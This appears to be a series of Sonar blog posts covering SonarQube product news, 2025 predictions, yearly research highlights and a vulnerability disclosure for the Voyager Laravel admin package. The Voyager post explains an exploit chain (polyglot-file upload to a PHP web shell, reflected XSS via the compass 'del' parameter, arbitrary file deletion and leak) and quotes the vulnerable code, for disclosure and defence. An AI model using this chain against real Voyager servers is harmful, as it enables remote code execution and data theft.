In the quality aspect of a Code Review, when used from the very beginning of the SDLC, tools like static analyzers will check the code directly from the IDE and will help avoid code quality issues from slipping into the code. They also perform a complete analysis of the branch containing the changes, giving complete details of the issues found, the test coverage, and the quality rating of the new code.

With this process, developers can be sure that when they code, a tool warns them about the issues introduced. Directly from the IDE or later, with all the changes pushed to a branch, they can fix all the detected issues and learn from them before sending the code to be reviewed by their peers.

SonarQube is a powerful tool that can significantly enhance the code review process. It provides continuous code quality and security inspection, offering detailed insights and actionable feedback.

Panto is also a robust solution designed to strengthen how teams assess AI-generated code. By continuously analyzing outputs and surfacing potential issues, it delivers meaningful insights and practical recommendations that help improve code quality, reliability, and overall development confidence.

In addition to the personal confidence given to the developer before submitting the changes to a Code Review, SonarQube can boost the review process by providing the code analysis results showing the code quality issues and, for some of them, even suggesting the correct change generated by AI. This process of involving an analysis tool allows the reviewing team to focus on providing value from their expertise.

Another important part of a Code Review is the scope. Often a developer needs to review code that involves knowing the different parts of the code base that are used in the changes. Usually, this would involve pulling the changes to an IDE, reading the needed docs and tickets, and reviewing the code, and SDKs used. Fortunately enough, AI is also bringing Review Agents that will traverse the code base and other elements of the company knowledgebase (docs, issue trackers, etc) and will explain what the PR is potentially doing.

Here’s how SonarQube can help:

Automated Code Analysis: SonarQube automatically analyzes code for bugs, code smells, and security vulnerabilities. This analysis identifies potential issues early, reducing the burden on human reviewers.
Consistent Standards: By enforcing coding standards and best practices, SonarQube ensures that AI-generated code is consistent with the rest of the codebase.
Security Insights: SonarQube provides detailed security analysis, helping to identify and mitigate vulnerabilities introduced by AI-generated code.
Actionable Feedback: SonarQube offers clear, actionable feedback, making it easier for developers to address issues and improve their code.

Conclusion

Integrating AI-generated code into the SDLC process presents opportunities and challenges. By using tools like SonarQube, teams can enhance the speed and security of code reviews, ensuring that AI-generated code meets the highest quality and security standards. Early detection and warning about issues also boost developers' self-confidence. Combining human expertise and automated tools will be key to maintaining robust and secure codebases as software development evolves.

The Tainted Voyage: Uncovering Voyager's Vulnerabilities

Yaniv Nizry — Mon, 27 Jan 2025 23:00:00 GMT

TL;DR overview

Sonar researchers uncovered critical vulnerabilities in Voyager, an open source Kubernetes ingress controller, by applying taint analysis to trace user-controlled data to dangerous sinks.
The discovered flaws include SSRF and code injection vulnerabilities that could allow attackers to compromise Kubernetes clusters running Voyager.
These findings demonstrate how taint analysis can identify complex, multi-step attack paths in infrastructure-level software that manual review would likely miss.
Affected Voyager users should update to patched versions; teams running Kubernetes ingress controllers should integrate SAST into their deployment pipelines.

Voyager is a popular open-source PHP package designed to streamline the management of Laravel applications. It provides a pre-built, user-friendly admin interface and offers a range of features, such as BREAD operations, media management, user management, and more. With over 11,000 GitHub stars and millions of downloads, it has established itself as a reliable and widely-used solution in the Laravel community.

By leveraging SonarQube Cloud's code analysis, which is free to use for open-source projects, we continuously and proactively identify and mitigate risks within open-source projects, benefiting both the community and our own tools. During one of many scans we performed, a Voyager finding caught our eye, which led us to a further audit of the project and eventually discover and disclose critical vulnerabilities in the project.

Key Information

During our continuous scans, SonarQube Cloud reported an arbitrary file write vulnerability in Voyager.
After further research of the project, we discovered additional vulnerabilities and combined them to create a realistic attack scenario, which resulted in one-click remote code execution on a Voyager instance.
We reported the findings to the project maintainers multiple times via emails and Github with no reply.
We release this information to the public in order to protect users, under our 90-day responsible disclosure policy.

Impact

When an authenticated Voyager user clicks on a malicious link, attackers can execute arbitrary code on the server. At the time of writing this blog (Voyager version 1.8.0), the vulnerabilities have not been fixed and we release this information to allow users to protect themselves under our 90-day responsible disclosure deadline.

Watch the video

Technical Details

Background

Let’s take a look at the report that caught our attention.

Try it yourself on SonarQube Cloud.

Initially, the issue appeared to be a straightforward path traversal vulnerability within the application's media upload component. However, a deeper analysis revealed limitations an attacker would need to overcome in order to make this vulnerability impactful. Expanding the truncated part from the sink (user input) to the source (the dangerous storeAs function) shows interesting information:

public function upload(Request $request)
{
    // Check permission
    $this->authorize('browse_media');

    $extension = $request->file->getClientOriginalExtension();
    $name = Str::replaceLast('.'.$extension, '', $request->file->getClientOriginalName());
    $details = json_decode($request->get('details') ?? '{}');
    $absolute_path = Storage::disk($this->filesystem)->path($request->upload_path);

    try {
        $realPath = Storage::disk($this->filesystem)->path('/');

        $allowedMimeTypes = config('voyager.media.allowed_mimetypes', '*');
        if ($allowedMimeTypes != '*' && (is_array($allowedMimeTypes) && !in_array($request->file->getMimeType(), $allowedMimeTypes))) {
            throw new Exception(__('voyager::generic.mimetype_not_allowed'));
        }

        //...
        $file = $request->file->storeAs($request->upload_path, $name.'.'.$extension, $this->filesystem);

There are two important checks here, which are performed before the file is saved to the disk.

The first one verifies that the user who made the request has the browse_media permission, which means that no ordinary user can execute this action.
The second one verifies if the file's MIME type is allowed (predefined in the configuration).

Can you think of ways an attacker would try to bypass these when crafting an exploit? We will deep-dive into each point using different vulnerabilities, starting with the second one, the mime-type verification.

Arbitrary File Write vulnerability (CVE-2024-55417)

When a file is uploaded to the /admin/media/upload endpoint, Voyager checks the request file’s MIME type via Laravel’s (which uses Symphony) getMimeType function. In order to understand how it works, let's take a look at a similar function's documentation, getClientMimeType:

When a user uploads a file (via form data), they provide a file name and content type in addition to the file’s content. While some functions get the type of the file from the name’s extension or the content type, getMimeType is supposed to be “safer” by sniffing/guessing it from the content itself.

After sniffing the MIME type, the VoyagerMediaController@upload function crosses it with a predefined list and throws an exception when not allowed.

if ($allowedMimeTypes != '*' && (is_array($allowedMimeTypes) && !in_array($request->file->getMimeType(), $allowedMimeTypes))) {
  throw new Exception(__('voyager::generic.mimetype_not_allowed'));
}

The default allowedMimeTypes list contains harmless content types:

image/jpeg
image/png
image/gif
image/bmp
video/mp4

But file formats can be complicated. While some types of files have a clear and strict structure, others might be less obvious. For example, a PHP-based file doesn’t require to start with a specific order of bytes (file header) to be valid. Consequently, if a file contains the PHP opening tag <?php anywhere within its content, the embedded PHP code can be executed by a PHP interpreter.

Therefore, if an attacker can manipulate the content type sniffing mechanism to classify a malicious file as an allowed file type and subsequently induce the server to process it as a PHP script, this arbitrary file write vulnerability could be escalated into a critical remote code execution by uploading a web shell.

Introducing Polyglot Files: A Double-Edged Sword

Polyglot files are files that can be interpreted as multiple file types, taking advantage of the flexibility and variety of file formats. While this flexibility can be beneficial in some cases, it can also be exploited by malicious actors.

In the context of this vulnerability, an attacker could craft a polyglot file that appears to be a legitimate file type to the getMimeType function (e.g., an image or video) but actually contains malicious PHP code.
However, in order for the malicious code to be executed, the server should serve and render the file as PHP, which is determined by the extension. Since the upload mechanism doesn't implement any file extension verification, an attacker can simply decide on an arbitrary extension. Resulting in arbitrary code execution by users who have the browse_media permissions.

Reflected Cross-Site Scripting (CVE-2024-55416)

While the arbitrary file upload vulnerability, coupled with PHP's permissive nature, could lead to remote code execution, its impact is currently limited by the browse_media permission requirement. As Voyager is primarily targeted at administrators, this limitation reduces the immediate severity of the issue. The main concern lies in the potential for unauthorized code execution within the administrative context. While this might be a significant issue for some applications, it's less critical in scenarios where all administrators are trusted.

To escalate this vulnerability to a critical threat, an attacker would need to combine it with another vulnerability, such as authorization bypass, cross-site request forgery (CSRF), or cross-site scripting (XSS) attack, to execute malicious code on behalf of a privileged user.

When auditing the rest of the Voyager codebase we noticed an interesting endpoint: the /admin/compass which gets handled by the VoyagerCompassController@index component, allowing the execution of certain actions via a GET request. Despite it still requiring admin permissions when handling GET requests, an attacker can craft a URL and manipulate an authenticated user to invoke the request by clicking on the link.

One of the actions that this endpoint provides is deleting a file. After the action is done (regardless of whether the file is found or deleted), a small popup will be displayed to the user in the UI.

elseif ($this->request->has('del')) {
  $active_tab = 'logs';
  app('files')->delete(LogViewer::pathToLogFile(base64_decode($this->request->input('del'))));
  return redirect($this->request->url().'?logs=true')->with([
    'message'    => __('voyager::compass.logs.delete_success').' '.base64_decode($this->request->input('del')),
    'alert-type' => 'success',
  ]);
}

The issue here is that when Voyager renders the popup message, it contains the provided file name unsanitized:

function notify(type, message) {
  let alert = '<div class="alert alert-'  + type +  dismissibleClass + '" role="alert">'  + dismissButton + message +  '</div>';
  $(options.alertsContainer).append(alert);
 }

This means that if an authenticated user clicks on a specially crafted link, arbitrary JavaScript code can be executed. As a result, an attacker can perform any subsequent action in the context of the victim. Combining it with the previous finding an attacker can escalate it to execute arbitrary code on the server

Arbitrary File Leak and Deletion (CVE-2024-55415)

If an attacker wants to be more stealthy and just steal or delete files without having to drop a malicious PHP file on disk, they could use the same endpoint to do so.

The user-provided path is sent to the pathToLogFile function, but looking at the code, there isn’t any normalization or modification of the input. The function only checks that the file exists:

public static function pathToLogFile($file)
    {
        $logsPath = storage_path('logs');

        if (app('files')->exists($file)) { // try the absolute path
            return $file;
        }

        $file = $logsPath.'/'.$file;

        // check if requested file is really in the logs directory
        if (dirname($file) !== $logsPath) {
            throw new \Exception('No such log file');
        }

        return $file;
    }

An attacker can initiate the deletion of arbitrary files by tricking a user into clicking a malicious link. As discussed in the previous finding, this vulnerability is triggered before sending the unsanitized message to the user.
Arbitrary file deletion can have a severe impact on an application. The obvious one is impacting the availability of the server, but in some cases, we have seen unique ways attackers used arbitrary file deletion to gain code execution (via configuration deletion, installation, etc)

Additionally, the /admin/compass endpoint is responsible for downloading a file. In this case, it doesn't directly expose sensitive information to the attacker because the file will be downloaded to the victim’s machine. However, the previous XSS can be leveraged to get the content of the file via Javascript, and then send it to the attacker’s controlled server.

Patch

At this time, no patches are available to address the vulnerabilities we've identified. Despite multiple attempts to contact the project maintainers via email and GitHub, we have not received a response.

In accordance with our responsible disclosure policy, we are publicly releasing the details of our findings after 90 days. We believe this allows users of Voyage to make informed decisions about their use of Voyage.

We strongly advise users to carefully consider using this project in their applications and exercise caution when deciding to do so.

Timeline

Date	Action
2024-09-11	We report all issues to the maintainers.
2024-10-20	We ping the maintainers.
2024-11-11	We ping the maintainers mentioning that 60 days have passed.
2024-11-28	We open a security report via GitHub.
2024-12-11	We notify the maintainers that the 90-day disclosure window has elapsed and that we are planning to release the details to the public.
2025-01-21	We release this blog post.

Summary

In this blog post, we delved into a security vulnerability uncovered by SonarQube Cloud within the Voyager project. We highlighted how attackers can leverage this vulnerability in conjunction with other security weaknesses to execute malicious code on vulnerable systems. By leveraging SonarQube Cloud's advanced code analysis capabilities, organizations can proactively identify and address security vulnerabilities, such as those demonstrated in this post, before they reach production.

Unfortunately, despite our best efforts, we were unable to reach the maintainers to address these vulnerabilities. We hope that by sharing this information, we can raise awareness among Voyager users regarding the project's security aspect.

SonarQube Server 2025.1 LTA Release Announcement

Robert Curlee — Thu, 23 Jan 2025 15:00:00 GMT

TL;DR overview

SonarQube Server 2025.1 LTA is the new long-term active release, consolidating all improvements from the 10.x series with enhanced AI capabilities, security advances, and enterprise administration improvements into a stable, supported version.
New AI features include AI Code Assurance for automatically detecting and enforcing quality standards on GitHub Copilot-generated code, and AI CodeFix for one-click issue remediation—with support for PyTorch, TensorFlow, and other AI/ML Python libraries.
The 2025.1 LTA improves enterprise operability with SCIM integration for automated user and group management, auto-provisioning from GitHub and GitLab, and faster first analysis times (under 5 minutes for new projects).
Teams on versions older than 9.9 LTS must upgrade to 9.9 first before migrating to 2025.1; Sonar provides an upgrade checklist and on-demand webinar to guide organizations through the process.

Since the last SonarQube Server 9.9 LTA, we’ve been busy here at Sonar, packing a lot into our recent releases. The new SonarQube Server 2025 Release 1 LTA wraps all those changes into a long-term active version with more value than ever and increased stability for the long haul. Whether you’re a developer, engineering lead, DevOps engineer, or security and compliance engineer, the new LTA has something to accelerate your SDLC.

Inside the new SonarQube Server LTA, you’ll find:

High-impact AI enhancements
Cutting-edge security innovations
Features to supercharge developer productivity
Enterprise and operational excellence capabilities
New extensive language support

Read on to find out more…

Surprise! We snuck in something new...

Our primary focus of the LTA is to harden it so it will continue to be stable until the next LTA when most people upgrade. However, since the SonarQube Server 10.8 release, we've added a few new powerful AI capabilities to the LTA version. With this release, you can:

Automatically detect the presence of AI-generated code from GitHub Copilot
Easily see which projects have AI-written code and which ones are protected by AI Code Assurance
Display real-time AI Code Assurance quality status of your projects that contain AI-generated code
See how your AI Code Assurance protected projects compare to other projects in a portfolio
Setup of AI Code Assurance is easier than ever with bulk configuration across multiple projects via API

High-Impact AI Enhancements

With its latest enhancements, Sonar empowers developers to confidently embrace AI-assisted coding in the SDLC. Sonar AI Code Assurance streamlines the identification and validation of AI-generated code in your codebase, ensuring it meets the highest quality and security standards before reaching production. With AI CodeFix, developers can receive one-click suggestions to resolve issues instantly, boosting productivity and code quality. Additionally, SonarQube now supports popular Python libraries like PyTorch, TensorFlow, Scikit-learn, NumPy, and Pandas, providing AI/ML developers with the tools to write secure and reliable code, even within Jupyter Notebooks.

Cutting-Edge Security Innovations

SonarQube Server elevates your code security with hundreds of new security rules and an advanced secrets detection engine that identifies and prevents leaks of 160+ secret patterns across 110+ cloud services, fortifying your codebase against security threats. This secrets detection engine operates in parallel with your code analysis, ensuring zero impact on analysis performance. Additionally, Sonar provides comprehensive security reports, including CWE Top 25 2022 and 2023, STIG, and CASA, to help you assess and comply with industry standards. Deeper SAST now covers over 2,000 public Java libraries, significantly improving the detection of hidden vulnerabilities when using external libraries. Java security analysis boasts a 90% True Positive Rate on leading benchmarks, while Spring Framework security analysis delivers complete coverage with over 200 rules. Moreover, Sonar extends security to Dockerfiles, synchronizes security hotspots with your IDE, and offers two-way synchronization with the GitLab Vulnerability Report for streamlined vulnerability management.

Supercharge Developer Productivity

SonarQube Server now delivers a significant boost to developer productivity with faster first analysis times (under 5 minutes!) and optimized scan times through on-demand analyzer downloads. Choose between two operating modes, the Standard Experience or the Multi Quality Rule (MQR) Mode with its innovative software quality taxonomy and customizable severity levels. Seamlessly integrate with your IDE to open and address issues directly within your workflow when in connected mode with SonarQube for IDE. Gain insights into resolved and accepted issues in pull requests before merging, benefit from a modernized UI, and leverage Clean as You Code guidance for a smoother, more efficient coding experience.

Enterprise and Operational Excellence

SonarQube Server streamlines enterprise-level administration and enhances operational efficiency with features like SCIM integration for automated user and group management, along with auto-provisioning and synchronization with GitHub and GitLab. This eliminates manual tasks ensuring secure and consistent access control across platforms. Project setup is a breeze with Autoconfig for C/C++ and guided setup of monorepos, removing the need for complex setup procedures. SonarQube Server now offers faster, easier, and more predictable upgrades with minimal disruption and downtime. Kubernetes users will appreciate autoscaling for optimized resource utilization, while OpenShift is now officially supported. Finally, SonarQube Server installations are more secure with support for running in a FIPS-enforced environment, modern authentication with Microsoft SMTP Server, and enforcement of strict password policies.

Extensive Language Support

Stay ahead with significant updates across multiple languages and frameworks, including Java, TypeScript, .NET, C++, and Python, as well as the new languages Dart/Flutter, Helm, Azure Resource Manager IaC, Ansible IaC, and JCL.

...and the list goes on!

Ready to experience the power of SonarQube Server? Upgrade to the latest LTA version today and see for yourself, or check out more details on the What’s New in the LTA page and our detailed LTA release documentation.

Are you still using an older version of SonarQube Server?

If you’re on a version older than 9.9, upgrade to SonarQube Server 9.9 LTA before upgrading to the latest 2025.1 LTA. Check out this helpful checklist for a smoother upgrade. Watch the on-demand LTA upgrade webinar, which explains a step-by-step approach and highlights common pitfalls encountered during the upgrade.

Join our live webinar on Feb. 12 at 10:00 AM CST where we will walk you through the new 2025.1 LTA release.

SonarQube for IDE: Our journey this year, and sneak peek into 2025

Farah Bouassida — Fri, 10 Jan 2025 15:00:00 GMT

TL;DR overview

SonarQube for IDE (formerly SonarLint) had a landmark year in 2024, adding Connected Mode improvements, AI-native IDE integrations, and initial AI CodeFix capabilities that let developers fix detected issues with a single click.
Key milestones include support for new programming languages, enhanced secrets detection running directly in the IDE, and tighter integration with VS Code's GitHub Copilot for collaborative AI-assisted remediation.
Looking ahead to 2025, the roadmap includes expanded AI CodeFix coverage across more languages and rule types, deeper integration with agentic coding tools, and improved Connected Mode syncing with SonarQube Server and Cloud.
SonarQube for IDE is available free in VS Code, IntelliJ, Eclipse, CLion, and Visual Studio marketplaces, and supports Connected Mode to enforce shared quality profiles from the team's SonarQube instance.

Our journey this year

We launched SonarQube for IDE (formerly known as SonarLint) with a simple vision: writing secure and high quality code should begin right in your IDE. We are committed to becoming your go-to coding companion. Our extensions are designed to be easy to use, have minimal impact on your IDE’s performance, and provide a comprehensive analysis and learning experience, going beyond just a basic linter.

The SonarQube for IDE team has worked hard this year to enhance the developer experience across each of our supported IDEs, focusing on streamlining the UX for teams, harnessing the power of SonarQube Server and Cloud through connected mode into your IDE, and making it even easier to focus on new code. Our goal is to enable you to create code that is secure and of high quality from the get go, using one comprehensive solution.

Here are some highlights from the many enhancements we delivered during 2024.

Share the connected mode setup within your team

One area of focus during 2024 was to make it easier to share a configuration between team members, allowing everyone to share the value of connecting SonarQube for IDE with SonarQube Cloud and Server. With SonarQube for IDE connected mode, you can now sync your analysis rules in the IDE with your CI Quality Profile and share this configuration with your team so that everybody is set up for success. Other team members using SonarQube for IDE will find the binding details in the project’s source folder and receive a notification to bind the project automatically.

Seamless Issue Management

Managing issues efficiently is vital for maintaining high code quality, and we have made significant strides in this area for SonarQube Server and Cloud users that are using connected mode. Last year, we added the possibility to open issues from SonarQube Cloud in the IDEs, which makes it easier to address the found issues, similar to the experience with SonarQube Server.

In addition, you can edit an issue status in the IDE by marking it as “Accepted” or “False Positive” and treating it later as a technical debt. Take advantage of this to address what is most critical first and focus on what’s important for your team.

Leveraging the power of AI

Finally, we made a step forward to fixing the issues we are raising, by suggesting AI-generated fixes after a PR analysis or a project scan and opening the fix suggestions in the IDE.

Security in the IDE

Security good habits should start in the IDE. For this we enriched the secrets detection by also detecting custom secrets you defined in SonarQube Server and Cloud. We also added the capability of scanning Helm files with Kubernetes. Learn more about secrets and infrastructure as code analysis support here.

Focus on new code

Ever felt overwhelmed with the volume of issues in your code, and don’t know where to start? Don’t worry, we have you covered. We recommend focusing first on new code, and can help you with this. Easily switch on the option “Focus on new code” and filter issues based on their date of introduction and either a 30 days time window when using SonarQube for IDE in standalone or the New Code Definition you set in SonarQube Cloud or Server (introduced in all IDEs except Visual Studio). It’s a great feature to help you see the wood from the trees, and make real progress towards Code Quality.

Performance improvements

We aim to provide an on-the-fly analysis experience that doesn’t impact your IDE flow. For this, we needed to focus our efforts on optimizing the analysis and we managed to speed it up, starting with Javascript. Other optimizations have improved the extensions’ memory consumption, for example by reducing the use of temporary files and a better cleaning of the .sonarlint folder.

Language analysis

Finally, SonarQube analyzers always evolve to provide more rules adapting to the latest language updates and covering new frameworks. SonarQube for IDE brings you the latest rules, and among notable additions last year we added support for advanced Java and Python rules in JetBrains, VS Code and Eclipse. We also added support for Java 22, C++20, MISRA C++2023 rule, .NET 9 and Jupyter Notebooks python code!

What’s next

This year we will continue our work on making the analysis experience as smooth as possible. We aim to bring the JS analyzer improvements to other language analyzers and to support more language analysis such as Dart and Flutter, T-SQL and HTML in Visual Studio, etc.

We also plan to extend our remediation capabilities by offering AI CodeFix suggestions in the IDE and more.

And of course, we would like to address the most voted requests from you, our dear community members, in our roadmap. It remains the place to tell us about the features you would like to see, and to upvote others.

2024 was a busy year, and we will maintain our momentum into 2025, always with a focus on you, the developer. Stay tuned to our product news in our what’s new page and reach out to us via our community forum for any help or clarifications needed.

Vulnerability Research Highlights 2024

Paul Gerste — Thu, 09 Jan 2025 16:00:00 GMT

TL;DR overview

Sonar's 2024 vulnerability research highlights showcase critical findings in developer tools, infrastructure software, and enterprise applications, continuing the team's annual disclosure program.
Notable research areas included AI-related tooling, supply chain security, and complex taint flow vulnerabilities in widely deployed open source projects.
The program reinforces a feedback loop: vulnerabilities discovered in real-world code directly improve Sonar's detection engine and inform new static analysis rules.
All findings followed coordinated disclosure timelines, with patches available before public writeups were released.

With more and more code generated by humans and AI, keeping track of its security remains a top priority. This doesn't get easier as developers have to deal with a constantly increasing variety of frameworks, technologies, and configurations. At the same time, attackers aren't sleeping and find new ways to carry out their attacks, steal sensitive data, and deploy malware.

To help deal with all this code and complexity, we at Sonar are continuously improving our static code analyzers to help developers keep the upper hand. Our research team supports this by scanning for vulnerabilities in popular open-source software, auditing the findings, and pushing further with manual research.

We use the insights gained from our research to improve Sonar’s security analyzers, helping our users identify vulnerabilities and weaknesses in their code before they reach production. When we find security issues, we responsibly disclose them to the vendors to protect the community and users of the respective applications. We also publish our findings as blog posts and talks to help developers and security teams learn about these vulnerabilities, their impact, and how to fix them.

Let’s have a look at our research highlights for the year 2024!

Conferences and Talks

To keep up with the latest security research and share our knowledge, we enjoy attending security conferences around the world. It is always a pleasure to meet fellow researchers, discuss novel topics, and get inspired by others.

We were honored to share the results of our research at renowned conferences in 2024, including the following:

DEF CON 32

SQL Injection Isn't Dead: Smuggling Queries at the Protocol Level - Paul Gerste

Hexacon 2024

TROOPERS24

From ASCII to UTF-16: Leveraging Encodings to Break Software

Insomni'hack 2024

Awards

After being nominated consecutively for the past three years, we were excited to be nominated once again for the Pwnie Awards 2024! These awards have a long history and honor exceptional achievements in security research. This year, the Pwnie Awards moved away from Black Hat USA and were held at DEF CON.

We were nominated in the Most Underhyped Research category for Dangerous Import: SourceForge Patches Critical Code Vulnerability, a vulnerability in Apache Allura, the software powering SourceForge. Although we did not win the award, the nomination was a great honor for us again, and we congratulate all winners!

However, we did win the Jenkins Security MVP award! It was awarded for two vulnerabilities we reported in Jenkins that would have allowed attackers to steal files or execute code on a vulnerable Jenkins server. The Jenkins team also mentioned that our advisory and collaboration were exemplary, which is always great to hear!

Trends and Discovered Vulnerabilities

When choosing an open-source application for vulnerability research, we prefer active and widely deployed projects. This way, we maximize the impact of our findings to benefit many users at once. Although these are usually big and complex projects, and hence harder to analyze with traditional SAST techniques, these are also excellent realistic benchmarks for analyzers. This also means that finding something will be a challenge because more community members and professionals will have looked at the code already.

We are excited that in 2024, our team found and reported critical vulnerabilities in some of the most popular applications across different domains and major programming languages:

Developer Tools

We continued our mission to secure developer tools, which we started three years ago. This time, we focused on CI/CD platforms and code forges. These are critical systems for everyone who writes code, as code is often a company's most valuable asset.

Jenkins is an open-source automation server used by millions of developers. We found a Path Traversal vulnerability that allowed attackers to leak sensitive information and, in some cases, even execute code.

SourceForge is a long-standing code hosting platform powered by Apache Allura. We found a vulnerability that allowed reading files via file URLs, which attackers could have abused to fully compromise SourceForge.

Gogs is a self-hosting alternative to SourceForge or GitHub written in Go. While investigating its code, we found multiple Argument Injection vulnerabilities that allow attackers to compromise a Gogs instance.

Front-End Security

Regardless of the back-end technology stack, every web application has a front end that runs in a web browser. This means that front-end security topics are very relevant and widely applicable. In 2024, we put a focus on finding such bugs, educating developers on their dangers, and researching novel techniques.

Charset Sniffing Attacks are a new class of attacks we discovered this year. HTTP content types are well understood, but what about their charsets? In our blog post, we show two novel techniques that involve forcing the browser to use a specific charset to bypass existing mitigations and achieve XSS.

HTML Sanitization is vital to the security of many web applications. However, it is prone to subtleties that make it easy to understand but hard to master. In a blog post accompanying our talk at OWASP Global AppSec SF, we explain why server-side HTML sanitization is doomed to fail.

Cross-Origin Resource Sharing (CORS) has been around the web for some time, but continue to see CORS misconfigurations cause trouble. With Whistle, we found a case of origin reflection that led to code execution on the victim's machine.

Email

Email continues to be an important part of everyone's communication, especially in the professional world. After focussing on privacy-oriented mailers in the previous year, we returned to look at classic webmailers again in 2024. From Cross-Site Scripting, over code execution on the server, to taking over a mail client, we showed that email security continues to be a concern.

Roundcube is a popular webmail solution used by companies, universities, and more. We discovered bugs in Roundcube's HTML sanitizer which led to XSS vulnerabilities. Attackers could have leveraged these to steal emails or impersonate victims.

Mailcow is an easy-to-use email solution with various features, including a web mailer and an admin panel. We discovered that an admin's session could be compromised just by viewing a malicious email due to an XSS vulnerability. Attackers could have combined this with a Path Traversal bug to execute arbitrary code on the server, allowing persistent access to all email traffic on a vulnerable Mailcow instance.

Mailspring is an open-source email client that users can run as a native application on their machine. Since it is based on Electron, it is prone to many of the same vulnerabilities as its webmail cousins. In our research, we found an XSS issue that not only allowed an attacker to steal emails but also execute code on the victim's machine!

CMS & Management Software

Companies need to manage all their information and assets, from content to tickets to customers. That's why we continued to examine different kinds of management software that hold business-critical information.

Joomla is a big name in the CMS space and has been around for decades. We found a vulnerability that allows XSS attacks on Joomla, but the bug actually resided in the code of the underlying programming language, PHP!

osTicket is an open-source helpdesk software that, by design, allows anyone to create tickets. We found an XSS vulnerability that attackers could have abused by opening a malicious ticket in order to leak sensitive internal data.

Erxes is an experience management solution that is open source and consists of several micro-services. With the help of SonarQube, we detected multiple vulnerabilities that could have allowed attackers to take over a vulnerable instance.

What's next?

Looking back at 2024, we are proud of what we achieved and excited to start the next year. Our pipeline is already filled with some great research that we will publish once disclosure is finished. To stay up-to-date, you can follow our research team on Twitter/X or Mastodon.

On behalf of Sonar, we wish you a happy new year and a safe start to 2025!

Software and AI in 2025 — Sonar Perspectives on What’s to Come in the New Year

Katie Hyman — Wed, 11 Dec 2024 14:00:00 GMT

TL;DR overview

Sonar’s 2025 outlook highlights the rapid rise of AI-generated code, the growing role of AI-assisted development workflows, and the increasing importance of code verification as a core engineering discipline.
As AI adoption accelerates, the gap will widen between teams that enforce strong code quality and security standards and those that allow unverified code into production, leading to increased technical debt and risk.
Static analysis and automated code review will play a critical role in maintaining software quality, helping detect vulnerabilities, bugs, and maintainability issues in both human- and AI-generated code.
Engineering leaders should invest early in verification practices and tooling to ensure that productivity gains from AI do not come at the expense of code quality, security, and long-term maintainability.

It’s impossible to know what will happen in the future, but we make our best guesses every year around this time anyway!

As 2025 comes into focus, several of the Sonar leaders put pen to paper on what they foresee in the coming year for software development as AI continues to bleed into every element of technology. From code accountability to security, to the role the channel will play… here is what some of our leaders are thinking about for the new year:

Tariq Shaukat, CEO — A “Trust and Verify” Approach Will Bolster Code Quality Assurance in the Age of AI

AI is already transforming the way developers work, streamlining processes and alleviating the repetitive nature of writing code. By 2027, 70% of professional developers will be using AI-powered coding tools. Google’s CEO recently said that already more than a quarter of all new code at Google is generated by AI. However, as adoption grows, a major challenge is emerging: code accountability. AI-generated code must undergo rigorous review to identify potential security vulnerabilities and quality issues early on – before they can lead to costly problems. Yet, the responsibility for ensuring this review often gets overlooked.

In 2025, as AI tools become essential for developers, they'll need to take greater responsibility for code accountability. By integrating a "trust and verify" approach early in the Software Development Life Cycle, developers can save time and increase their capacity to tackle large-scale projects that drive business success. The same level of scrutiny applied to human-written code must be extended to AI-generated code. With human oversight embedded throughout the workflow, development teams can ensure that AI-driven code meets established quality and security standards.

Andrea Malagodi, CIO — Developers Will Embrace Automated Testing Tools to Ensure AI-Generated Code Quality

We should embrace AI innovation to benefit the future trajectory of software development. AI-generated code and testing tools can amplify developers' productivity, enabling them to focus more on projects that align with broader business goals. However, AI is a complement, not a replacement, of developers’ skills, and business leaders must recognize this important distinction. The activity of conceiving, designing, and architecting a system or a feature is not only a coding detail, it is a craft and should not be ignored.

Humans must remain integral to the testing and verification process, whether the code is AI-generated or written by developers. The demand and rising use of AI in the coding process means developers are writing more code, all of which must be tested for security and quality. At a minimum, all code should undergo rigorous testing, with multiple control checks established by developers to trust and verify code at each stage of development.

While AI will continue to boost developer productivity in the coming years, if underlying issues in the code development process aren't addressed, more AI-generated code will only lead to more code to fix. Software teams need to utilize trusted, automated code testing tools and apply a human lens and critical thinking to ensure the delivery of high-quality code they can be confident in.

Johannes Dahse, Head of R&D — “Starting Left” Will Take a “Shift Left” Approach One Step Further

We can’t ignore the importance of teams incorporating early testing and analysis in the development process. Only by catching issues and vulnerabilities quickly from the very beginning can they have confidence in the software they deploy. I believe more organizations will come to this realization next year and we will start to see a real move from a “shift left” approach to “start left” — taking the concept a step further to ensure the security, viability, and longevity of software as code is written and developed.

Especially as AI adoption grows to boost code writing, code quality and detecting vulnerabilities should remain at the top of companies’ priorities for 2025, making a proactive investment in security tools and methods to mitigate business risks. Doing so enables teams to significantly reduce the risk of critical vulnerabilities and save themselves time as well as increase productivity. By adopting robust code quality measures early, companies can prevent vulnerabilities, safeguard data, and maintain compliance, reinforcing AI’s value in the development process.

Jim DeCarlo, VP of Channel, AMERS — Channel Partners Will Provide AI Integration Solutions for Developers

This past year, all the buzz was about AI. Companies are looking to AI for innovation and efficiency. The question is, how do we take advantage of the promise of AI and get measurable business-impacting results? My prediction is that channel partners will bring the answers and the solutions. Especially when it comes to ensuring proper integration of AI in the software development lifecycle — partners have a tremendous opportunity being that they’re so in tune with the industry, what technology problems to solve, and what solutions can address them best. It would be great to see some sort of metric around Return or AI investment, possibly R.O.A.I.I if you will.

Ending where we began, here’s one more prediction from our CEO Tariq to wrap things up.

Tariq Shaukat, CEO — Business Success Will Depend on the C-Suite Putting Software Center Stage

Next year, we will see more executives and boards of directors put “software as a critical business asset” to the top of their agenda. When bad code costs organizations $2.41 trillion in the U.S. alone, it shouldn’t be a question anymore of how important software is to business, but how do we ensure it is a competitive differentiator and doesn’t put our business at risk?

Organizations strive to protect their codebase against risks, yet often, the focus on code security tends to emerge later in the development lifecycle rather than as an initial investment in secure-by-design practices. I believe we will see the C-suite mindset shift to see software in a new strategic light and build software quality into the fabric of the way business is done. Especially as AI-generated software development continues to pick up steam, it is the responsibility of CEOs and boards to put mechanisms in place that uphold and maintain code quality and security during development. The future of digital business depends on it.

Never Underestimate CSRF: Why Origin Reflection is a Bad Idea

Paul Gerste — Tue, 10 Dec 2024 16:00:00 GMT

TL;DR overview

CSRF origin reflection is a dangerous misconfiguration where a server dynamically trusts any Origin header it receives, nullifying CSRF protections and allowing attackers to make authenticated requests from any domain.
Many developers implement origin reflection intending to allow all origins for convenience, without realizing the server is now vulnerable to cross-site request forgery by design.
Secure CORS implementations require explicitly allowlisting trusted origins—never reflecting the incoming Origin header back unconditionally, even for internal or staging environments.
This class of misconfiguration is frequently found in real-world codebases.

